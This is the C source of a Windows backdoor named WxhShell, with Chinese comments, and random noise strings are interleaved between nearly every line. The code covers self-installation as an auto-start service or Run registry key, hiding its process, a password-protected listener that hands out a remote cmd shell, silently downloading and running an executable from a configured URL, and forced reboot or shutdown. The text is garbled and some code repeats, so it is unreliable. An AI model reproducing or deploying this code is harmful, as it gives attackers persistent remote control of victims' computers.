DGUU1vA [IW7]Fv<F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dv>zK#! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }6(:OB? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1&WFs6 A~t7I{` if (!NtQueryInformationProcess) return 0; \%*y+I0> /qY(uPJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }jXUd=.Nu if(!hProcess) return 0; l0,O4k2 ' nP
/$uj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "@Fxfd+Ot vdM\scO: CloseHandle(hProcess); N{@eV][Q DA\O,^49h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2^+"GCo if(hProcess==NULL) return 0; >l[N]CQ 0 <;B2ce HMODULE hMod; vpMv char procName[255]; auv\fR : unsigned long cbNeeded; an$h~}/6: m/h0J03'T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *GMRu,u2 e$h\7i:( CloseHandle(hProcess); 1A
*8Jnw G 3x1w/L if(strstr(procName,"services")) return 1; // 以服务启动 k#M W> UJ&,9}L8 return 0; // 注册表启动 N:zSJW`1 }
]YKWa" y->iv% // 主模块 h Nwb.[ int StartWxhshell(LPSTR lpCmdLine) U3QnWPt}> { w,$1 7+]3 SOCKET wsl; @
vudeaup BOOL val=TRUE; [HfFC3U int port=0; G)`MoVH1 struct sockaddr_in door; #v<+G=r*O djp(s$:{4 if(wscfg.ws_autoins) Install(); V19*~v=u cke[SUH, port=atoi(lpCmdLine); woKdI)f$ oE&[W>,x if(port<=0) port=wscfg.ws_port; C,rZ}- 7]Yd-vA WSADATA data; iE5^Xik, if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R&p5 3n XDQ1gg` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; YKk%;U* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _XtY/7n door.sin_family = AF_INET; $P~ a door.sin_addr.s_addr = inet_addr("127.0.0.1"); NI)nf;C door.sin_port = htons(port); %mJ)pMV T@XiG:b7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D%btlw?{ closesocket(wsl); wOP}SMn return 1; !{LwX Kf } PGDlSB^O R&A.F+Zgt if(listen(wsl,2) == INVALID_SOCKET) { #Ba'k6b closesocket(wsl); 3@JwL{C return 1; 3WHH3co[ } G_@H:4$3 Wxhshell(wsl); 04TV./uA WSACleanup(); 9|,AhyhO (@9-"W return 0; 5=\b+<pE R!ij CF\ } |V5H(2/nk o=}?aC3I // 以NT服务方式启动 ho. a93 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4{=Em5`HbO { {s]eXc]K} DWORD status = 0; gB#t"s) DWORD specificError = 0xfffffff; :KwYuwYS i|e-N?l serviceStatus.dwServiceType = SERVICE_WIN32; ^q$sCt} serviceStatus.dwCurrentState = SERVICE_START_PENDING; L\5n!(,0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t!LvV.g+ serviceStatus.dwWin32ExitCode = 0; 2vLn# serviceStatus.dwServiceSpecificExitCode = 0; #kA+Yqy\) serviceStatus.dwCheckPoint = 0; h";sQ'us serviceStatus.dwWaitHint = 0; 5Z'pMkn3 tee%E=P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uU0'y4= if (hServiceStatusHandle==0) return; &H6Fkza;4 QQJcvaQ status = GetLastError(); FrS>.!OFn if (status!=NO_ERROR) S_zE+f+
2 { x.I-z@\E serviceStatus.dwCurrentState = SERVICE_STOPPED; e BPMT serviceStatus.dwCheckPoint = 0; "A7tb39* serviceStatus.dwWaitHint = 0; A'T! og|5 serviceStatus.dwWin32ExitCode = status; <\u%ZB serviceStatus.dwServiceSpecificExitCode = specificError; QQcJUOxT9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); wSGUNP9 return; Zx6BK=4G } B(hNBq7 .+.Pc_fv serviceStatus.dwCurrentState = SERVICE_RUNNING; Im2g2] serviceStatus.dwCheckPoint = 0; i*3'O:Gq serviceStatus.dwWaitHint = 0; a[!':-R`s if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YGB|6p( } %O-wMl G7u7x?E:B` // 处理NT服务事件,比如:启动、停止 0X;Dr-3< VOID WINAPI NTServiceHandler(DWORD fdwControl) ouujd~b+ { H3JWf
MlW switch(fdwControl) RAvV[QkT { f-PDgs case SERVICE_CONTROL_STOP: pLRHwL. serviceStatus.dwWin32ExitCode = 0; TA*49Qp serviceStatus.dwCurrentState = SERVICE_STOPPED; 'sC{d&c serviceStatus.dwCheckPoint = 0; LYT0 XB)A serviceStatus.dwWaitHint = 0; 'yl`0,3wV { -H{{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); /dIiFr"e}G } "qF8'58 return; GCrMrZ6 case SERVICE_CONTROL_PAUSE: aDs[\' serviceStatus.dwCurrentState = SERVICE_PAUSED; vjW S35i break; XS>4efCJ case SERVICE_CONTROL_CONTINUE: J?{uG8) serviceStatus.dwCurrentState = SERVICE_RUNNING; ?U&onGy break; Xa36O5$4]9 case SERVICE_CONTROL_INTERROGATE: j&F&wRD%r break; umc!KOkL }; l ^{]pD SetServiceStatus(hServiceStatusHandle, &serviceStatus); u
VB&DE } |b|p0Z%7{
U7O2. y+ // 标准应用程序主函数 A\:M}D-( int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l#Iof)@# { F$.M2*9 Fik*7!XQ8 // 获取操作系统版本 ;kdJxxUox OsIsNt=GetOsVer(); b8O:@j2 GetModuleFileName(NULL,ExeFile,MAX_PATH); JAYom%A" +K&ze:-Z // 从命令行安装 hsi#J^n{ if(strpbrk(lpCmdLine,"iI")) Install(); =fm/l-P@ Mv_4*xVc // 下载执行文件 0&<{o!>k if(wscfg.ws_downexe) { O\xUv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3?C$Tl2G8 WinExec(wscfg.ws_filenam,SW_HIDE); >LLFe~9`g } h)sc-e G'! Hc6OZ if(!OsIsNt) { w(VH>t // 如果时win9x,隐藏进程并且设置为注册表启动 7p|Pv;wp| HideProc(); y2)~ljR StartWxhshell(lpCmdLine); /@q_`tU } KY@k4S+ else Bdf3@sbM] if(StartFromService()) [mX\Q`)QP // 以服务方式启动 |= ~9y"F StartServiceCtrlDispatcher(DispatchTable); 5'@}8W3b else yVSJn>l! // 普通方式启动 M^H357r% StartWxhshell(lpCmdLine); Xod#$'M> (xMAo;s_ return 0; 'Kl} y, } 7z`)1^M ,w
c|YI)E ! @|"84 K@+&5\y] =========================================== >QCVsX>~ 4W6gKY *c. *e4uzF eP6>a7gc i9$
-lk B\BP:;" " yYF%U7N/n I~EJctOG #include <stdio.h> "H6DiPh.E #include <string.h> @N34 Q-l #include <windows.h> 5s8k^n"A #include <winsock2.h> ?bY'J6n. #include <winsvc.h> @r=O~x #include <urlmon.h> 64Q{YuI .a?GC( #pragma comment (lib, "Ws2_32.lib") %vgn>A?]1 #pragma comment (lib, "urlmon.lib") iWO16= k]w;(< #define MAX_USER 100 // 最大客户端连接数 8H;yrNL #define BUF_SOCK 200 // sock buffer rqSeh/<iD #define KEY_BUFF 255 // 输入 buffer E<Efxb'p PU[]
Nw #define REBOOT 0 // 重启 3(jI #define SHUTDOWN 1 // 关机 [/\}:#MLe bvi
Y.G3 #define DEF_PORT 5000 // 监听端口 A(ql}cr @} qMI
#define REG_LEN 16 // 注册表键长度 n}0[EE! #define SVC_LEN 80 // NT服务名长度 y@e/G3 w_PnEJa9 // 从dll定义API ^_n(>$
EK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B/AS|i] sM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dy
mf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }mz@oEB#vF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _I+QInD ;) [Q6PFdQ_JT // wxhshell配置信息 VI/77 struct WSCFG { K8daSvc int ws_port; // 监听端口 qJj"WU5 char ws_passstr[REG_LEN]; // 口令 6;Wns' int ws_autoins; // 安装标记, 1=yes 0=no b dP @^Q char ws_regname[REG_LEN]; // 注册表键名 =wtu char ws_svcname[REG_LEN]; // 服务名 PF~w$ eeQ char ws_svcdisp[SVC_LEN]; // 服务显示名 Bz!SZpW(M char ws_svcdesc[SVC_LEN]; // 服务描述信息 8\P!47'q char ws_passmsg[SVC_LEN]; // 密码输入提示信息 90X<Qs int ws_downexe; // 下载执行标记, 1=yes 0=no J4"?D9T3G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &C6Z-bS" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LB$#]
Z )T&ZiHIJ3 }; gd#+N]C_ @T)kqT // default Wxhshell configuration XOsuRI? struct WSCFG wscfg={DEF_PORT, ~nDbWv" "xuhuanlingzhe", 0QcC5y; 1, 8Q4yllv4 "Wxhshell", {S,L %
"Wxhshell", NU"Ld+gw "WxhShell Service", &?"E"GH "Wrsky Windows CmdShell Service", ;2*hN( "Please Input Your Password: ", Wa.y7S0(@ 1, Cj'XL} "http://www.wrsky.com/wxhshell.exe", zsOOx%
+ "Wxhshell.exe" b*Sw")# }; n%X5TJE 9(eTCe-~6 // 消息定义模块 +6-_9qRq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1 UdET#\ char *msg_ws_prompt="\n\r? for help\n\r#>"; rrz^LD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @kBy|5 char *msg_ws_ext="\n\rExit."; ~)vq0]MRg char *msg_ws_end="\n\rQuit."; Pg4go10| char *msg_ws_boot="\n\rReboot..."; kT^|%bB[i char *msg_ws_poff="\n\rShutdown..."; 3e,"B
S)+ char *msg_ws_down="\n\rSave to "; '3Ro`p{ ;#)sV2F\& char *msg_ws_err="\n\rErr!"; +7E&IK char *msg_ws_ok="\n\rOK!"; .|UIZwW0 7!F<Uf,V3 char ExeFile[MAX_PATH]; l^!raoH]q int nUser = 0; ;XagLy HANDLE handles[MAX_USER]; \
]v>#VXr_ int OsIsNt; &65I
6 e>J.r("f SERVICE_STATUS serviceStatus; @KJ~M3d0l SERVICE_STATUS_HANDLE hServiceStatusHandle; "d"6.ND cb82k[L6 // 函数声明 ?vh1 >1D int Install(void); JIL(\d int Uninstall(void); q!f'?yFYK int DownloadFile(char *sURL, SOCKET wsh); GBSuTu8 int Boot(int flag); a1#",%{I void HideProc(void); vLI'Z)\ int GetOsVer(void); ]Ub"NLYV int Wxhshell(SOCKET wsl); grVPu! B; void TalkWithClient(void *cs); A9Kt^HR int CmdShell(SOCKET sock); :yxP3e%rp int StartFromService(void); b,hRk1 int StartWxhshell(LPSTR lpCmdLine); xlIVLv6dO yo^M>^P\N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *jC Hv VOID WINAPI NTServiceHandler( DWORD fdwControl ); 03Uj0.Z|7 ;suY
// 数据结构和表定义 Fa0Fl}L SERVICE_TABLE_ENTRY DispatchTable[] = uxx(WS { !:2_y'hA {wscfg.ws_svcname, NTServiceMain}, s+0n0C {NULL, NULL} T|k_$LH }; pgd9_'[5 =j^>sg] // 自我安装 2=IZD `{! int Install(void) s.$:.*k { 1$_|h@ char svExeFile[MAX_PATH]; cB0"vbdO HKEY key; -J":'xCP! strcpy(svExeFile,ExeFile); Lrjp z"\<GmvB // 如果是win9x系统,修改注册表设为自启动 f1AO<>I; if(!OsIsNt) { j4%\'xj: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -[}Ah NYK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &iO53I^r/ RegCloseKey(key);
#sm@|'Q% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NjFlV(XT} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o)WzZ,\F^J RegCloseKey(key); HuLvMYF return 0; ak_n } R!>l7p/|H) } 1EMrXnv, } cC pNF `DN else { h^v+d*R
N D4jZh+_|S // 如果是NT以上系统,安装为系统服务 ;iA$yw: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n#PXMD* if (schSCManager!=0) Ug#EAV<m { L_5o7~`0 SC_HANDLE schService = CreateService yk0^m/=C( ( T_ j0*A$ schSCManager, B-p ]. wscfg.ws_svcname, M~U>"kX wscfg.ws_svcdisp, 0ky3rFSh1 SERVICE_ALL_ACCESS, }hA)p: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m`&6[[)6~ SERVICE_AUTO_START, RveEA/&& SERVICE_ERROR_NORMAL, mXT{c=N)w svExeFile, L"L a| NULL, a(_3271 NULL, C]a iu NULL, 09 vm5| NULL, R^6]v`j; NULL \SooIEl@ ); 1}q(Pn2 if (schService!=0) )uO 3v { E?h'OR@_ L CloseServiceHandle(schService); 5Z>+NKQ CloseServiceHandle(schSCManager); ZMEYF!jN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,8.zbr strcat(svExeFile,wscfg.ws_svcname); I:UN2`*# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \Icd>>)* RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :!w;Y;L:+ RegCloseKey(key); H,(4a2zx return 0; LHMA-0$ ?) } u}-)ywX } v*&WqVg CloseServiceHandle(schSCManager); 2OwO|n } 0Wb3M"#9< } YK V"bI
(m() r0:@ return 1; >mMmc!u>G } V9;O1 ;F:Qz^=.a // 自我卸载 ejpSbVJ int Uninstall(void) Bgs,6: { ~}Z'/zCZf HKEY key; r12e26_Ab 2{01i)2 y if(!OsIsNt) { oz'^.+uvE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m }\L i] RegDeleteValue(key,wscfg.ws_regname); MC_i"P6a RegCloseKey(key); eY\!}) 5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5N[H@%>QO RegDeleteValue(key,wscfg.ws_regname); gmCB4MO RegCloseKey(key); V4. }wz_Y return 0; \eCQL(_ } r5Xi2! } nXW]9zC"/ } n ==+NL else { -^,wQW:o) 2+C8w%F8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w/wU~~ if (schSCManager!=0) -v~XS-F { }4_c~)9Q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D n}TO*
if (schService!=0) 7jPn6uz>w { :Oc&{z?q if(DeleteService(schService)!=0) { ?>iZ){0, CloseServiceHandle(schService); *oru;=D@8 CloseServiceHandle(schSCManager); pbNW
l/|4 return 0; v]m#+E } QD^"cPC)mM CloseServiceHandle(schService); t_iZ\_8 } 7VA6J-T CloseServiceHandle(schSCManager); rm!.J0
X } s/OXZ<C| } u`wT_?%w
C44*qiG. return 1; ^ =RSoR } 7J$Yd976 '?b.t2 // 从指定url下载文件 8zH/a
int DownloadFile(char *sURL, SOCKET wsh) g&L $5 { }\d3 HRESULT hr; $F~hL?"? char seps[]= "/"; UY&DXIP M char *token; (=w ff5U char *file; ,CjJO - char myURL[MAX_PATH]; hJ0m;j&4y char myFILE[MAX_PATH]; fZt3cE\ &:Sb$+z strcpy(myURL,sURL); K9Bi2/N token=strtok(myURL,seps); #*;Nb while(token!=NULL) l(?Yx { EhHW` file=token; OuU ]A[r token=strtok(NULL,seps); ?r}!d2:dX } E']Gh i
,g<y GetCurrentDirectory(MAX_PATH,myFILE); 6|{uZNz strcat(myFILE, "\\"); d5tpw$A strcat(myFILE, file); W'<cAg? send(wsh,myFILE,strlen(myFILE),0); ?p!+s96 send(wsh,"...",3,0); KDy:A>_ G" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'W|@d8}h if(hr==S_OK) fSzX /r return 0; 21G:!t4/?n else C6wlRvWn return 1; :@q9ll`6u nwAx47>{ } T(6B, 8Zvh"Z? // 系统电源模块 f>C|qDmT int Boot(int flag) -g)*v<Fb5 { IP+1 :M HANDLE hToken; x_|: 3I TOKEN_PRIVILEGES tkp; 4r>buEU ?u8vK<2h if(OsIsNt) { >zWVM1\\j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9TILrK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "ktC1y1 tkp.PrivilegeCount = 1; *oz=k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0!,)7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .j 0]hn] if(flag==REBOOT) { {T[/B"QZG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rCO:39L- return 0; "rIBy } o'nrLI(t else { =AJ I3'x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2-M]!x) return 0; A[m4do } AAt<{ } ld*RL:G else { Rd.[8#7VE if(flag==REBOOT) { !T3Esv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g_w4}!|
return 0; iXDQ2&gE* } ()+;KF8 else { 5-pz/%, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B.J4}Ua return 0; v]HiG_C } U%na^Wu } -/#tQ~{gs <ArP_!
`3 return 1; kV Z5>D$ } v`$9;9 WtTwY8HC // win9x进程隐藏模块 P'6(HT>F? void HideProc(void) W[3)B(Vq<E { '3@WF2a ?$^qcpJCp HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hrRX= if ( hKernel != NULL ) A
fctycQ- { KCed!OJ+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hOx">yki ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3f:I<S7 FreeLibrary(hKernel); U;:,$]+ } HSOdqjR* :=tPC A= return; a4}2^K } _r|$H_# M_4g%uHG // 获取操作系统版本 PaFJw5f int GetOsVer(void) W+~ w { .SdEhW15) OSVERSIONINFO winfo; wQ,RZO3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "ppT<8Qi' GetVersionEx(&winfo); VPTT*a` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )Cz^Xp)# return 1; >cD+&h34 else 'gojP return 0; _ QM } Al`[Iu& }x1mpPND // 客户端句柄模块 %zyMWC int Wxhshell(SOCKET wsl) Mf&W<n^j { <8At= U SOCKET wsh; m!:7ur:Y struct sockaddr_in client; >1tGQ
cg DWORD myID; 6Bp{FOj:Ss 7
v<$l while(nUser<MAX_USER) szwXr { K`FgU7g{ int nSize=sizeof(client); ^[CD- # wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %f&(U/ if(wsh==INVALID_SOCKET) return 1; morI'6N |pp @ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?8(`tS(_? if(handles[nUser]==0) S~F:%@,* closesocket(wsh); T}[W')[s else ~]/X,Cf nUser++; Hk\+;'PrN } r<O^uz?Di WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H+3I[`v <'
%g $" return 0; *ftJ( } *<U&DOYV: EBM\p+x& // 关闭 socket 64\Z OG\, void CloseIt(SOCKET wsh) c`X'Q)c&K { $YSD%/c closesocket(wsh); fwAN9zs nUser--; 4ij` ExitThread(0); &u"*vG (U[ } vO{ijHKE ?/)5U}*M0T // 客户端请求句柄 VJCh5t* void TalkWithClient(void *cs) MZw%s(lv { G"TPu_g _u;^w}0 SOCKET wsh=(SOCKET)cs; :<&}/r char pwd[SVC_LEN]; DcbL$9UI char cmd[KEY_BUFF]; Bw*z4qb{yH char chr[1]; _T5~B"* int i,j; d!KX.K\NM, Bd O$ while (nUser < MAX_USER) { &J hN&Ur vo`wYJ3W if(wscfg.ws_passstr) { ! qcu-d5b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $hSu~}g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *-|+phim //ZeroMemory(pwd,KEY_BUFF); ]QT0sGl i=0; ;*W]]4fy while(i<SVC_LEN) { \-s) D#Y;r g@Ni!U"_c // 设置超时 ITc/aX fd_set FdRead; aG}9Z8D struct timeval TimeOut; Pz|qy, FD_ZERO(&FdRead); ;6b#I$-J- FD_SET(wsh,&FdRead); @gi
Y TimeOut.tv_sec=8; a
LmVOL{ TimeOut.tv_usec=0; ?3}UO:B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xe+&/J5b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <YeF?$S} G<jpJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U-FA^c; pwd=chr[0]; 6>=>Yj if(chr[0]==0xd || chr[0]==0xa) { )1fQhdO}x pwd=0; @L<[38 break; dBlOU.B } zW0AB8l i++; YRp\#pVnZ } J82{PfQ" o@>c[knJ // 如果是非法用户,关闭 socket Etu>z+P! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xD\Km>|i } Q"hI !PO+ (v4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5GJ0E Z'X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;2@sn+@ "]_|c\98 while(1) { -/gS s<" "DlCvjc ZeroMemory(cmd,KEY_BUFF); .@6]_h; +cV!=gDT // 自动支持客户端 telnet标准 (J$A j=0; u4<r$[]V while(j<KEY_BUFF) { ]R4)FH|>< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HJJ^pk& cmd[j]=chr[0]; xu:m~8% if(chr[0]==0xa || chr[0]==0xd) { g
Go cmd[j]=0; #h3+T*5} 6 break; 4{vd6T}V! } Eq8OAuN j++; ?J~JQe42 } b<F 4_WF 40#KcbMa| // 下载文件 7
YK+TGmU^ if(strstr(cmd,"http://")) { Nu_w@T\l send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,g,jY]o if(DownloadFile(cmd,wsh)) N9n1s2;o send(wsh,msg_ws_err,strlen(msg_ws_err),0); *c AoE l else 5./
(fgx> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -ufmpq. } iO!lG else { &1h3o^K dJLJh*=AG switch(cmd[0]) { sd[QtK^ R82Y&s; // 帮助 kH&ZPAI case '?': { fjWh}w8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gNqV>p break; vfv5ex( } '.K,EM!-~h // 安装 Wl#^Eu\g1W case 'i': { 0&.lSwa if(Install()) q9
;\B& send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;t]k9:"L else .HQ<6k:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); og\XLJ}_ break; ltrSTH,kL } eurudl // 卸载 2T3DV])Q case 'r': { Pu^~]^W) if(Uninstall()) 5i^vN"J send(wsh,msg_ws_err,strlen(msg_ws_err),0); tbPPI)lu else (Z$6JNkz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >o} ati break; 2:N_c\Vi } q],R6GcVr // 显示 wxhshell 所在路径 P\s+2/ case 'p': { O2,g]t~C char svExeFile[MAX_PATH]; KNg5Ptk strcpy(svExeFile,"\n\r"); 5qr!OEF2 strcat(svExeFile,ExeFile); vf yva send(wsh,svExeFile,strlen(svExeFile),0); fv_wK_.
%: break; GiZ'IDV } 84!4Vz^ // 重启 SNU
bY6 case 'b': { H n!vTB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cv~hU%1T if(Boot(REBOOT)) K D-_~uIF send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4$m<"~ else { %^l&fM* closesocket(wsh); l1)pr{A ExitThread(0); [~<',,tA0| } Gx!RaZ1 break; oPy zk7{ } @c!67Z // 关机 M=WE^v!b case 'd': { 2jZ}VCzRG send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }AiS83B if(Boot(SHUTDOWN)) j_yFH#^W: send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#0@$ else { ++!E9GU{ closesocket(wsh); _~nex,;r ExitThread(0); -NPkN%h } )Zf}V0!?+ break; rgzI } :3>yr5a7- // 获取shell L[G\+ case 's': { 5SL>q`t.bd CmdShell(wsh); pInWKj[y1 closesocket(wsh); wmr%h q ExitThread(0); b2=Q~=Wc break; +Jka :]MW! } ')<FLCFwT // 退出 lq8ko@ case 'x': { /eRtj:9M send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DsW`V~T CloseIt(wsh); i>Bi&azx break; 6&QTVdK'O } 2Ml2Ue-9 // 离开 0bxvM case 'q': { ,okJ eZ send(wsh,msg_ws_end,strlen(msg_ws_end),0); .&x?`pER closesocket(wsh); z#J/*712 WSACleanup(); z{3%Hq exit(1); /Tf*d>Yh; break; 0*;9CH=BE } :5K~/=6x } f76| } CotMV^ Z)O>h^0 // 提示信息 Eb[H3v48, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R,w54}, } T :S{3 } uP=_-ZUW e3={$A h return; Z^`=!n-V } g}
~<!VpX 3:8nwt // shell模块句柄 :iQ^1S`pH int CmdShell(SOCKET sock) aho<w+l@ { 7k t7^V< STARTUPINFO si; Q xF8=p ZeroMemory(&si,sizeof(si)); VtzmY si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x\bR j>%( si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uU ?37V PROCESS_INFORMATION ProcessInfo; G2+)R^FSC char cmdline[]="cmd"; D@(M+u9/% CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v*'iWHCl, return 0; ioY\8i } d! QD vO 9 QCpXy // 自身启动模式 zj$_iB`9 int StartFromService(void)
=Sb:<q+Q { gjegzKU typedef struct ;p#Z :6 { -6~dJTm[t DWORD ExitStatus; 1|EU5< DWORD PebBaseAddress; p-yOiG8b} DWORD AffinityMask; u};]LX\E DWORD BasePriority; $|cp;~ 1 ULONG UniqueProcessId; !Ir1qt8T ULONG InheritedFromUniqueProcessId; enbN0 } PROCESS_BASIC_INFORMATION; (LT\
IJSM ;vv!qBl|@ PROCNTQSIP NtQueryInformationProcess; >uchF8)e| qtwT#z;Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;[OJ-|Q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fy_<Ui p[@oF5M HANDLE hProcess; _KM $u>B8 PROCESS_BASIC_INFORMATION pbi; hKH$AEHEU} SCh7O} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); emkMR{MY if(NULL == hInst ) return 0; V:F+HMBk X6Nm!od' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); csFJ5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PQ&Q71 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pRiH,:\ zhA',p@K?_ if (!NtQueryInformationProcess) return 0; tJh3$K\ A^4kYOe hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *m| t=9E if(!hProcess) return 0; 38*'8=Y#> rAlh&
?X if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ER;lkF`RF BS-:dyBw CloseHandle(hProcess); BDm88<] z)ft3(! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;*wT,2;
